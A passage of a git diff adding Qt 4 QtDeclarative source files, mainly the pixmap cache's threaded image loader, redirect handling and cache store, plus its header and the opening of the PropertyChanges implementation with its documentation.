+ // manually cancel all outstanding jobs.
+ foreach (QDeclarativePixmapReply *reply, jobs) {
+ delete reply;
+ }
+ jobs.clear();
+ QList<QDeclarativePixmapReply*> activeJobs = replies.values();
+ foreach (QDeclarativePixmapReply *reply, activeJobs) {
+ if (reply->loading) {
+ cancelled.append(reply);
+ reply->data = 0;
+ }
+ }
+ if (threadObject) threadObject->processJobs();
+ mutex.unlock();
+
+ eventLoopQuitHack->deleteLater();
+ wait();
+}
+
+void QDeclarativePixmapReader::networkRequestDone(QNetworkReply *reply)
+{
+ QDeclarativePixmapReply *job = replies.take(reply);
+
+ if (job) {
+ job->redirectCount++;
+ if (job->redirectCount < IMAGEREQUEST_MAX_REDIRECT_RECURSION) {
+ QVariant redirect = reply->attribute(QNetworkRequest::RedirectionTargetAttribute);
+ if (redirect.isValid()) {
+ QUrl url = reply->url().resolved(redirect.toUrl());
+ QNetworkRequest req(url);
+ req.setAttribute(QNetworkRequest::HttpPipeliningAllowedAttribute, true);
+
+ reply->deleteLater();
+ reply = networkAccessManager()->get(req);
+
+ QMetaObject::connect(reply, replyDownloadProgress, job, downloadProgress);
+ QMetaObject::connect(reply, replyFinished, threadObject, threadNetworkRequestDone);
+
+ replies.insert(reply, job);
+ return;
+ }
+ }
+
+ QImage image;
+ QDeclarativePixmapReply::ReadError error = QDeclarativePixmapReply::NoError;
+ QString errorString;
+ QSize readSize;
+ if (reply->error()) {
+ error = QDeclarativePixmapReply::Loading;
+ errorString = reply->errorString();
+ } else {
+ QByteArray all = reply->readAll();
+ QBuffer buff(&all);
+ buff.open(QIODevice::ReadOnly);
+ if (!readImage(reply->url(), &buff, &image, &errorString, &readSize, job->requestSize)) {
+ error = QDeclarativePixmapReply::Decoding;
+ }
+ }
+ // send completion event to the QDeclarativePixmapReply
+ mutex.lock();
+ if (!cancelled.contains(job)) job->postReply(error, errorString, readSize, image);
+ mutex.unlock();
+ }
+ reply->deleteLater();
+
+ // kick off event loop again incase we have dropped below max request count
+ threadObject->processJobs();
+}
+
+QDeclarativePixmapReaderThreadObject::QDeclarativePixmapReaderThreadObject(QDeclarativePixmapReader *i)
+: reader(i)
+{
+}
+
+void QDeclarativePixmapReaderThreadObject::processJobs()
+{
+ QCoreApplication::postEvent(this, new QEvent(QEvent::User));
+}
+
+bool QDeclarativePixmapReaderThreadObject::event(QEvent *e)
+{
+ if (e->type() == QEvent::User) {
+ reader->processJobs();
+ return true;
+ } else {
+ return QObject::event(e);
+ }
+}
+
+void QDeclarativePixmapReaderThreadObject::networkRequestDone()
+{
+ QNetworkReply *reply = static_cast<QNetworkReply *>(sender());
+ reader->networkRequestDone(reply);
+}
+
+void QDeclarativePixmapReader::processJobs()
+{
+ QMutexLocker locker(&mutex);
+
+ while (true) {
+ if (cancelled.isEmpty() && (jobs.isEmpty() || replies.count() >= IMAGEREQUEST_MAX_REQUEST_COUNT))
+ return; // Nothing else to do
+
+ // Clean cancelled jobs
+ if (cancelled.count()) {
+ for (int i = 0; i < cancelled.count(); ++i) {
+ QDeclarativePixmapReply *job = cancelled.at(i);
+ QNetworkReply *reply = replies.key(job, 0);
+ if (reply && reply->isRunning()) {
+ // cancel any jobs already started
+ replies.remove(reply);
+ reply->close();
+ }
+ // deleteLater, since not owned by this thread
+ job->deleteLater();
+ }
+ cancelled.clear();
+ }
+
+ if (!jobs.isEmpty() && replies.count() < IMAGEREQUEST_MAX_REQUEST_COUNT) {
+ QDeclarativePixmapReply *runningJob = jobs.takeLast();
+ runningJob->loading = true;
+ QUrl url = runningJob->url;
+ QSize requestSize = runningJob->requestSize;
+ locker.unlock();
+ processJob(runningJob, url, requestSize);
+ locker.relock();
+ }
+ }
+}
+
+void QDeclarativePixmapReader::processJob(QDeclarativePixmapReply *runningJob, const QUrl &url,
+ const QSize &requestSize)
+{
+ // fetch
+ if (url.scheme() == QLatin1String("image")) {
+ // Use QmlImageProvider
+ QSize readSize;
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+ QImage image = ep->getImageFromProvider(url, &readSize, requestSize);
+
+ QDeclarativePixmapReply::ReadError errorCode = QDeclarativePixmapReply::NoError;
+ QString errorStr;
+ if (image.isNull()) {
+ errorCode = QDeclarativePixmapReply::Loading;
+ errorStr = QDeclarativePixmap::tr("Failed to get image from provider: %1").arg(url.toString());
+ }
+ mutex.lock();
+ if (!cancelled.contains(runningJob)) runningJob->postReply(errorCode, errorStr, readSize, image);
+ mutex.unlock();
+ } else {
+ QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url);
+ if (!lf.isEmpty()) {
+ // Image is local - load/decode immediately
+ QImage image;
+ QDeclarativePixmapReply::ReadError errorCode = QDeclarativePixmapReply::NoError;
+ QString errorStr;
+ QFile f(lf);
+ QSize readSize;
+ if (f.open(QIODevice::ReadOnly)) {
+ if (!readImage(url, &f, &image, &errorStr, &readSize, requestSize))
+ errorCode = QDeclarativePixmapReply::Loading;
+ } else {
+ errorStr = QDeclarativePixmap::tr("Cannot open: %1").arg(url.toString());
+ errorCode = QDeclarativePixmapReply::Loading;
+ }
+ mutex.lock();
+ if (!cancelled.contains(runningJob)) runningJob->postReply(errorCode, errorStr, readSize, image);
+ mutex.unlock();
+ } else {
+ // Network resource
+ QNetworkRequest req(url);
+ req.setAttribute(QNetworkRequest::HttpPipeliningAllowedAttribute, true);
+ QNetworkReply *reply = networkAccessManager()->get(req);
+ QMetaObject::connect(reply, replyDownloadProgress, runningJob, downloadProgress);
+ QMetaObject::connect(reply, replyFinished, threadObject, threadNetworkRequestDone);
+ replies.insert(reply, runningJob);
+ }
+ }
+}
+
+QDeclarativePixmapReader *QDeclarativePixmapReader::instance(QDeclarativeEngine *engine)
+{
+ // XXX NOTE: must be called within readerMutex locking.
+ QDeclarativePixmapReader *reader = readers.value(engine);
+ if (!reader) {
+ reader = new QDeclarativePixmapReader(engine);
+ readers.insert(engine, reader);
+ }
+
+ return reader;
+}
+
+QDeclarativePixmapReader *QDeclarativePixmapReader::existingInstance(QDeclarativeEngine *engine)
+{
+ // XXX NOTE: must be called within readerMutex locking.
+ return readers.value(engine, 0);
+}
+
+QDeclarativePixmapReply *QDeclarativePixmapReader::getImage(QDeclarativePixmapData *data)
+{
+ mutex.lock();
+ QDeclarativePixmapReply *reply = new QDeclarativePixmapReply(data);
+ reply->engineForReader = engine;
+ jobs.append(reply);
+ // XXX
+ if (threadObject) threadObject->processJobs();
+ mutex.unlock();
+ return reply;
+}
+
+void QDeclarativePixmapReader::cancel(QDeclarativePixmapReply *reply)
+{
+ mutex.lock();
+ if (reply->loading) {
+ cancelled.append(reply);
+ reply->data = 0;
+ // XXX
+ if (threadObject) threadObject->processJobs();
+ } else {
+ jobs.removeAll(reply);
+ delete reply;
+ }
+ mutex.unlock();
+}
+
+void QDeclarativePixmapReader::run()
+{
+ if (replyDownloadProgress == -1) {
+ const QMetaObject *nr = &QNetworkReply::staticMetaObject;
+ const QMetaObject *pr = &QDeclarativePixmapReply::staticMetaObject;
+ const QMetaObject *ir = &QDeclarativePixmapReaderThreadObject::staticMetaObject;
+ replyDownloadProgress = nr->indexOfSignal("downloadProgress(qint64,qint64)");
+ replyFinished = nr->indexOfSignal("finished()");
+ downloadProgress = pr->indexOfSignal("downloadProgress(qint64,qint64)");
+ threadNetworkRequestDone = ir->indexOfSlot("networkRequestDone()");
+ }
+
+ mutex.lock();
+ threadObject = new QDeclarativePixmapReaderThreadObject(this);
+ mutex.unlock();
+
+ processJobs();
+ exec();
+
+ delete threadObject;
+ threadObject = 0;
+}
+
+class QDeclarativePixmapKey
+{
+public:
+ const QUrl *url;
+ const QSize *size;
+};
+
+inline bool operator==(const QDeclarativePixmapKey &lhs, const QDeclarativePixmapKey &rhs)
+{
+ return *lhs.size == *rhs.size && *lhs.url == *rhs.url;
+}
+
+inline uint qHash(const QDeclarativePixmapKey &key)
+{
+ return qHash(*key.url) ^ key.size->width() ^ key.size->height();
+}
+
+class QDeclarativePixmapStore : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativePixmapStore();
+
+ void unreferencePixmap(QDeclarativePixmapData *);
+ void referencePixmap(QDeclarativePixmapData *);
+ void flushCache();
+
+protected:
+ virtual void timerEvent(QTimerEvent *);
+
+public:
+ QHash<QDeclarativePixmapKey, QDeclarativePixmapData *> m_cache;
+
+private:
+ void shrinkCache(int remove);
+
+ QDeclarativePixmapData *m_unreferencedPixmaps;
+ QDeclarativePixmapData *m_lastUnreferencedPixmap;
+
+ int m_unreferencedCost;
+ int m_timerId;
+};
+Q_GLOBAL_STATIC(QDeclarativePixmapStore, pixmapStore);
+
+QDeclarativePixmapStore::QDeclarativePixmapStore()
+: m_unreferencedPixmaps(0), m_lastUnreferencedPixmap(0), m_unreferencedCost(0), m_timerId(-1)
+{
+}
+
+void QDeclarativePixmapStore::unreferencePixmap(QDeclarativePixmapData *data)
+{
+ Q_ASSERT(data->prevUnreferenced == 0);
+ Q_ASSERT(data->prevUnreferencedPtr == 0);
+ Q_ASSERT(data->nextUnreferenced == 0);
+
+ data->nextUnreferenced = m_unreferencedPixmaps;
+ data->prevUnreferencedPtr = &m_unreferencedPixmaps;
+
+ m_unreferencedPixmaps = data;
+ if (m_unreferencedPixmaps->nextUnreferenced) {
+ m_unreferencedPixmaps->nextUnreferenced->prevUnreferenced = m_unreferencedPixmaps;
+ m_unreferencedPixmaps->nextUnreferenced->prevUnreferencedPtr = &m_unreferencedPixmaps->nextUnreferenced;
+ }
+
+ if (!m_lastUnreferencedPixmap)
+ m_lastUnreferencedPixmap = data;
+
+ m_unreferencedCost += data->cost();
+
+ shrinkCache(-1); // Shrink the cache incase it has become larger than cache_limit
+
+ if (m_timerId == -1 && m_unreferencedPixmaps)
+ m_timerId = startTimer(CACHE_EXPIRE_TIME * 1000);
+}
+
+void QDeclarativePixmapStore::referencePixmap(QDeclarativePixmapData *data)
+{
+ Q_ASSERT(data->prevUnreferencedPtr);
+
+ *data->prevUnreferencedPtr = data->nextUnreferenced;
+ if (data->nextUnreferenced) {
+ data->nextUnreferenced->prevUnreferencedPtr = data->prevUnreferencedPtr;
+ data->nextUnreferenced->prevUnreferenced = data->prevUnreferenced;
+ }
+ if (m_lastUnreferencedPixmap == data)
+ m_lastUnreferencedPixmap = data->prevUnreferenced;
+
+ data->nextUnreferenced = 0;
+ data->prevUnreferencedPtr = 0;
+ data->prevUnreferenced = 0;
+
+ m_unreferencedCost -= data->cost();
+}
+
+void QDeclarativePixmapStore::shrinkCache(int remove)
+{
+ while ((remove > 0 || m_unreferencedCost > cache_limit) && m_lastUnreferencedPixmap) {
+ QDeclarativePixmapData *data = m_lastUnreferencedPixmap;
+ Q_ASSERT(data->nextUnreferenced == 0);
+
+ *data->prevUnreferencedPtr = 0;
+ m_lastUnreferencedPixmap = data->prevUnreferenced;
+ data->prevUnreferencedPtr = 0;
+ data->prevUnreferenced = 0;
+
+ remove -= data->cost();
+ m_unreferencedCost -= data->cost();
+ data->removeFromCache();
+ delete data;
+ }
+}
+
+void QDeclarativePixmapStore::timerEvent(QTimerEvent *)
+{
+ int removalCost = m_unreferencedCost / CACHE_REMOVAL_FRACTION;
+
+ shrinkCache(removalCost);
+
+ if (m_unreferencedPixmaps == 0) {
+ killTimer(m_timerId);
+ m_timerId = -1;
+ }
+}
+
+/*
+ Remove all unreferenced pixmaps from the cache.
+*/
+void QDeclarativePixmapStore::flushCache()
+{
+ shrinkCache(m_unreferencedCost);
+}
+
+QDeclarativePixmapReply::QDeclarativePixmapReply(QDeclarativePixmapData *d)
+: data(d), engineForReader(0), requestSize(d->requestSize), url(d->url), loading(false), redirectCount(0)
+{
+ if (finishedIndex == -1) {
+ finishedIndex = QDeclarativePixmapReply::staticMetaObject.indexOfSignal("finished()");
+ downloadProgressIndex = QDeclarativePixmapReply::staticMetaObject.indexOfSignal("downloadProgress(qint64,qint64)");
+ }
+}
+
+QDeclarativePixmapReply::~QDeclarativePixmapReply()
+{
+}
+
+bool QDeclarativePixmapReply::event(QEvent *event)
+{
+ if (event->type() == QEvent::User) {
+
+ if (data) {
+ Event *de = static_cast<Event *>(event);
+ data->pixmapStatus = (de->error == NoError) ? QDeclarativePixmap::Ready : QDeclarativePixmap::Error;
+
+ if (data->pixmapStatus == QDeclarativePixmap::Ready) {
+ data->pixmap = QPixmap::fromImage(de->image);
+ data->implicitSize = de->implicitSize;
+ } else {
+ data->errorString = de->errorString;
+ data->removeFromCache(); // We don't continue to cache error'd pixmaps
+ }
+
+ data->reply = 0;
+ emit finished();
+ }
+
+ delete this;
+ return true;
+ } else {
+ return QObject::event(event);
+ }
+}
+
+int QDeclarativePixmapData::cost() const
+{
+ return (pixmap.width() * pixmap.height() * pixmap.depth()) / 8;
+}
+
+void QDeclarativePixmapData::addref()
+{
+ ++refCount;
+ if (prevUnreferencedPtr)
+ pixmapStore()->referencePixmap(this);
+}
+
+void QDeclarativePixmapData::release()
+{
+ Q_ASSERT(refCount > 0);
+ --refCount;
+
+ if (refCount == 0) {
+ if (reply) {
+ QDeclarativePixmapReply *cancelReply = reply;
+ reply->data = 0;
+ reply = 0;
+ QDeclarativePixmapReader::readerMutex.lock();
+ QDeclarativePixmapReader *reader = QDeclarativePixmapReader::existingInstance(cancelReply->engineForReader);
+ if (reader)
+ reader->cancel(cancelReply);
+ QDeclarativePixmapReader::readerMutex.unlock();
+ }
+
+ if (pixmapStatus == QDeclarativePixmap::Ready) {
+ pixmapStore()->unreferencePixmap(this);
+ } else {
+ removeFromCache();
+ delete this;
+ }
+ }
+}
+
+void QDeclarativePixmapData::addToCache()
+{
+ if (!inCache) {
+ QDeclarativePixmapKey key = { &url, &requestSize };
+ pixmapStore()->m_cache.insert(key, this);
+ inCache = true;
+ }
+}
+
+void QDeclarativePixmapData::removeFromCache()
+{
+ if (inCache) {
+ QDeclarativePixmapKey key = { &url, &requestSize };
+ pixmapStore()->m_cache.remove(key);
+ inCache = false;
+ }
+}
+
+static QDeclarativePixmapData* createPixmapDataSync(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, bool *ok)
+{
+ if (url.scheme() == QLatin1String("image")) {
+ QSize readSize;
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+ QDeclarativeImageProvider::ImageType imageType = ep->getImageProviderType(url);
+
+ switch (imageType) {
+ case QDeclarativeImageProvider::Image:
+ {
+ QImage image = ep->getImageFromProvider(url, &readSize, requestSize);
+ if (!image.isNull()) {
+ *ok = true;
+ return new QDeclarativePixmapData(url, QPixmap::fromImage(image), readSize, requestSize);
+ }
+ }
+ case QDeclarativeImageProvider::Pixmap:
+ {
+ QPixmap pixmap = ep->getPixmapFromProvider(url, &readSize, requestSize);
+ if (!pixmap.isNull()) {
+ *ok = true;
+ return new QDeclarativePixmapData(url, pixmap, readSize, requestSize);
+ }
+ }
+ }
+
+ // no matching provider, or provider has bad image type, or provider returned null image
+ return new QDeclarativePixmapData(url, requestSize,
+ QDeclarativePixmap::tr("Failed to get image from provider: %1").arg(url.toString()));
+ }
+
+ QString localFile = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url);
+ if (localFile.isEmpty())
+ return 0;
+
+ QFile f(localFile);
+ QSize readSize;
+ QString errorString;
+
+ if (f.open(QIODevice::ReadOnly)) {
+ QImage image;
+ if (readImage(url, &f, &image, &errorString, &readSize, requestSize)) {
+ *ok = true;
+ return new QDeclarativePixmapData(url, QPixmap::fromImage(image), readSize, requestSize);
+ }
+ } else {
+ errorString = QDeclarativePixmap::tr("Cannot open: %1").arg(url.toString());
+ }
+ return new QDeclarativePixmapData(url, requestSize, errorString);
+}
+
+
+struct QDeclarativePixmapNull {
+ QUrl url;
+ QPixmap pixmap;
+ QSize size;
+};
+Q_GLOBAL_STATIC(QDeclarativePixmapNull, nullPixmap);
+
+QDeclarativePixmap::QDeclarativePixmap()
+: d(0)
+{
+}
+
+QDeclarativePixmap::QDeclarativePixmap(QDeclarativeEngine *engine, const QUrl &url)
+: d(0)
+{
+ load(engine, url);
+}
+
+QDeclarativePixmap::QDeclarativePixmap(QDeclarativeEngine *engine, const QUrl &url, const QSize &size)
+: d(0)
+{
+ load(engine, url, size);
+}
+
+QDeclarativePixmap::~QDeclarativePixmap()
+{
+ if (d) {
+ d->release();
+ d = 0;
+ }
+}
+
+bool QDeclarativePixmap::isNull() const
+{
+ return d == 0;
+}
+
+bool QDeclarativePixmap::isReady() const
+{
+ return status() == Ready;
+}
+
+bool QDeclarativePixmap::isError() const
+{
+ return status() == Error;
+}
+
+bool QDeclarativePixmap::isLoading() const
+{
+ return status() == Loading;
+}
+
+QString QDeclarativePixmap::error() const
+{
+ if (d)
+ return d->errorString;
+ else
+ return QString();
+}
+
+QDeclarativePixmap::Status QDeclarativePixmap::status() const
+{
+ if (d)
+ return d->pixmapStatus;
+ else
+ return Null;
+}
+
+const QUrl &QDeclarativePixmap::url() const
+{
+ if (d)
+ return d->url;
+ else
+ return nullPixmap()->url;
+}
+
+const QSize &QDeclarativePixmap::implicitSize() const
+{
+ if (d)
+ return d->implicitSize;
+ else
+ return nullPixmap()->size;
+}
+
+const QSize &QDeclarativePixmap::requestSize() const
+{
+ if (d)
+ return d->requestSize;
+ else
+ return nullPixmap()->size;
+}
+
+const QPixmap &QDeclarativePixmap::pixmap() const
+{
+ if (d)
+ return d->pixmap;
+ else
+ return nullPixmap()->pixmap;
+}
+
+void QDeclarativePixmap::setPixmap(const QPixmap &p)
+{
+ clear();
+
+ if (!p.isNull())
+ d = new QDeclarativePixmapData(p);
+}
+
+int QDeclarativePixmap::width() const
+{
+ if (d)
+ return d->pixmap.width();
+ else
+ return 0;
+}
+
+int QDeclarativePixmap::height() const
+{
+ if (d)
+ return d->pixmap.height();
+ else
+ return 0;
+}
+
+QRect QDeclarativePixmap::rect() const
+{
+ if (d)
+ return d->pixmap.rect();
+ else
+ return QRect();
+}
+
+void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url)
+{
+ load(engine, url, QSize(), QDeclarativePixmap::Cache);
+}
+
+void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, QDeclarativePixmap::Options options)
+{
+ load(engine, url, QSize(), options);
+}
+
+void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &size)
+{
+ load(engine, url, size, QDeclarativePixmap::Cache);
+}
+
+void QDeclarativePixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, QDeclarativePixmap::Options options)
+{
+ if (d) { d->release(); d = 0; }
+
+ QDeclarativePixmapKey key = { &url, &requestSize };
+ QDeclarativePixmapStore *store = pixmapStore();
+
+ QHash<QDeclarativePixmapKey, QDeclarativePixmapData *>::Iterator iter = store->m_cache.find(key);
+
+ if (iter == store->m_cache.end()) {
+ if (options & QDeclarativePixmap::Asynchronous) {
+ // pixmaps can only be loaded synchronously
+ if (url.scheme() == QLatin1String("image")
+ && QDeclarativeEnginePrivate::get(engine)->getImageProviderType(url) == QDeclarativeImageProvider::Pixmap) {
+ options &= ~QDeclarativePixmap::Asynchronous;
+ }
+ }
+
+ if (!(options & QDeclarativePixmap::Asynchronous)) {
+ bool ok = false;
+ d = createPixmapDataSync(engine, url, requestSize, &ok);
+ if (ok) {
+ if (options & QDeclarativePixmap::Cache)
+ d->addToCache();
+ return;
+ }
+ if (d) // loadable, but encountered error while loading
+ return;
+ }
+
+ if (!engine)
+ return;
+
+ d = new QDeclarativePixmapData(url, requestSize);
+ if (options & QDeclarativePixmap::Cache)
+ d->addToCache();
+ QDeclarativePixmapReader::readerMutex.lock();
+ d->reply = QDeclarativePixmapReader::instance(engine)->getImage(d);
+ QDeclarativePixmapReader::readerMutex.unlock();
+ } else {
+ d = *iter;
+ d->addref();
+ }
+}
+
+void QDeclarativePixmap::clear()
+{
+ if (d) {
+ d->release();
+ d = 0;
+ }
+}
+
+void QDeclarativePixmap::clear(QObject *obj)
+{
+ if (d) {
+ if (d->reply)
+ QObject::disconnect(d->reply, 0, obj, 0);
+ d->release();
+ d = 0;
+ }
+}
+
+bool QDeclarativePixmap::connectFinished(QObject *object, const char *method)
+{
+ if (!d || !d->reply) {
+ qWarning("QDeclarativePixmap: connectFinished() called when not loading.");
+ return false;
+ }
+
+ return QObject::connect(d->reply, SIGNAL(finished()), object, method);
+}
+
+bool QDeclarativePixmap::connectFinished(QObject *object, int method)
+{
+ if (!d || !d->reply) {
+ qWarning("QDeclarativePixmap: connectFinished() called when not loading.");
+ return false;
+ }
+
+ return QMetaObject::connect(d->reply, QDeclarativePixmapReply::finishedIndex, object, method);
+}
+
+bool QDeclarativePixmap::connectDownloadProgress(QObject *object, const char *method)
+{
+ if (!d || !d->reply) {
+ qWarning("QDeclarativePixmap: connectDownloadProgress() called when not loading.");
+ return false;
+ }
+
+ return QObject::connect(d->reply, SIGNAL(downloadProgress(qint64,qint64)), object, method);
+}
+
+bool QDeclarativePixmap::connectDownloadProgress(QObject *object, int method)
+{
+ if (!d || !d->reply) {
+ qWarning("QDeclarativePixmap: connectDownloadProgress() called when not loading.");
+ return false;
+ }
+
+ return QMetaObject::connect(d->reply, QDeclarativePixmapReply::downloadProgressIndex, object, method);
+}
+
+void QDeclarativePixmap::flushCache()
+{
+ pixmapStore()->flushCache();
+}
+
+QT_END_NAMESPACE
+
+#include <qdeclarativepixmapcache.moc>
diff --git a/src/declarative/util/qdeclarativepixmapcache_p.h b/src/declarative/util/qdeclarativepixmapcache_p.h
new file mode 100644
index 00000000..33c3a55a
--- /dev/null
+++ b/src/declarative/util/qdeclarativepixmapcache_p.h
@@ -0,0 +1,124 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPIXMAPCACHE_H
+#define QDECLARATIVEPIXMAPCACHE_H
+
+#include <QtCore/qcoreapplication.h>
+#include <QtCore/qstring.h>
+#include <QtGui/qpixmap.h>
+#include <QtCore/qurl.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeEngine;
+class QDeclarativePixmapData;
+class Q_DECLARATIVE_EXPORT QDeclarativePixmap
+{
+ Q_DECLARE_TR_FUNCTIONS(QDeclarativePixmap)
+public:
+ QDeclarativePixmap();
+ QDeclarativePixmap(QDeclarativeEngine *, const QUrl &);
+ QDeclarativePixmap(QDeclarativeEngine *, const QUrl &, const QSize &);
+ ~QDeclarativePixmap();
+
+ enum Status { Null, Ready, Error, Loading };
+
+ enum Option {
+ Asynchronous = 0x00000001,
+ Cache = 0x00000002
+ };
+ Q_DECLARE_FLAGS(Options, Option)
+
+ bool isNull() const;
+ bool isReady() const;
+ bool isError() const;
+ bool isLoading() const;
+
+ Status status() const;
+ QString error() const;
+ const QUrl &url() const;
+ const QSize &implicitSize() const;
+ const QSize &requestSize() const;
+ const QPixmap &pixmap() const;
+ void setPixmap(const QPixmap &);
+
+ QRect rect() const;
+ int width() const;
+ int height() const;
+ inline operator const QPixmap &() const;
+
+ void load(QDeclarativeEngine *, const QUrl &);
+ void load(QDeclarativeEngine *, const QUrl &, QDeclarativePixmap::Options options);
+ void load(QDeclarativeEngine *, const QUrl &, const QSize &);
+ void load(QDeclarativeEngine *, const QUrl &, const QSize &, QDeclarativePixmap::Options options);
+
+ void clear();
+ void clear(QObject *);
+
+ bool connectFinished(QObject *, const char *);
+ bool connectFinished(QObject *, int);
+ bool connectDownloadProgress(QObject *, const char *);
+ bool connectDownloadProgress(QObject *, int);
+
+ static void flushCache();
+
+private:
+ Q_DISABLE_COPY(QDeclarativePixmap)
+ QDeclarativePixmapData *d;
+};
+
+inline QDeclarativePixmap::operator const QPixmap &() const
+{
+ return pixmap();
+}
+
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativePixmap::Options)
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPIXMAPCACHE_H
diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp
new file mode 100644
index 00000000..97c6a1a1
--- /dev/null
+++ b/src/declarative/util/qdeclarativepropertychanges.cpp
@@ -0,0 +1,798 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativepropertychanges_p.h"
+
+#include "private/qdeclarativeopenmetaobject_p.h"
+#include "private/qdeclarativerewrite_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativecompiler_p.h"
+
+#include <qdeclarativeinfo.h>
+#include <qdeclarativecustomparser_p.h>
+#include <qdeclarativeparser_p.h>
+#include <qdeclarativeexpression.h>
+#include <qdeclarativebinding_p.h>
+#include <qdeclarativecontext.h>
+#include <qdeclarativeguard_p.h>
+#include <qdeclarativeproperty_p.h>
+#include <qdeclarativecontext_p.h>
+#include <qdeclarativestate_p_p.h>
+
+#include <QtCore/qdebug.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass PropertyChanges QDeclarativePropertyChanges
+ \ingroup qml-state-elements
+ \since 4.7
+ \brief The PropertyChanges element describes new property bindings or values for a state.
+
+ PropertyChanges is used to define the property values or bindings in a
+ \l State. This enables an item's property values to be changed when it
+ \l {QML States}{changes between states}.
+
+ To create a PropertyChanges object, specify the \l target item whose
+ properties are to be modified, and define the new property values or
+ bindings. For example:
+
+ \snippet doc/src/snippets/declarative/propertychanges.qml import
+ \codeline
+ \snippet doc/src/snippets/declarative/propertychanges.qml 0
+
+ When the mouse is pressed, the \l Rectangle changes to the \e resized
+ state. In this state, the PropertyChanges object sets the rectangle's
+ color to blue and the \c height value to that of \c container.height.
+
+ Note this automatically binds \c rect.height to \c container.height
+ in the \e resized state. If a property binding should not be
+ established, and the height should just be set to the value of
+ \c container.height at the time of the state change, set the \l explicit
+ property to \c true.
+
+ A PropertyChanges object can also override the default signal handler
+ for an object to implement a signal handler specific to the new state:
+
+ \qml
+ PropertyChanges {
+ target: myMouseArea
+ onClicked: doSomethingDifferent()
+ }
+ \endqml
+
+ \note PropertyChanges can be used to change anchor margins, but not other anchor
+ values; use AnchorChanges for this instead. Similarly, to change an \l Item's
+ \l {Item::}{parent} value, use ParentChanges instead.
+
+
+ \section2 Resetting property values
+
+ The \c undefined value can be used to reset the property value for a state.
+ In the following example, when \c theText changes to the \e widerText
+ state, its \c width property is reset, giving the text its natural width
+ and displaying the whole string on a single line.
+
+ \snippet doc/src/snippets/declarative/propertychanges.qml reset
+
+
+ \section2 Immediate property changes in transitions
+
+ When \l{QML Animation and Transitions}{Transitions} are used to animate
+ state changes, they animate properties from their values in the current
+ state to those defined in the new state (as defined by PropertyChanges
+ objects). However, it is sometimes desirable to set a property value
+ \e immediately during a \l Transition, without animation; in these cases,
+ the PropertyAction element can be used to force an immediate property
+ change.
+
+ See the PropertyAction documentation for more details.
+
+ \sa {declarative/animation/states}{states example}, {qmlstate}{States}, QtDeclarative
+*/
+
+/*!
+ \qmlproperty Object PropertyChanges::target
+ This property holds the object which contains the properties to be changed.
+*/
+
+class QDeclarativeReplaceSignalHandler : public QDeclarativeActionEvent
+{
+public:
+ QDeclarativeReplaceSignalHandler() : expression(0), reverseExpression(0),
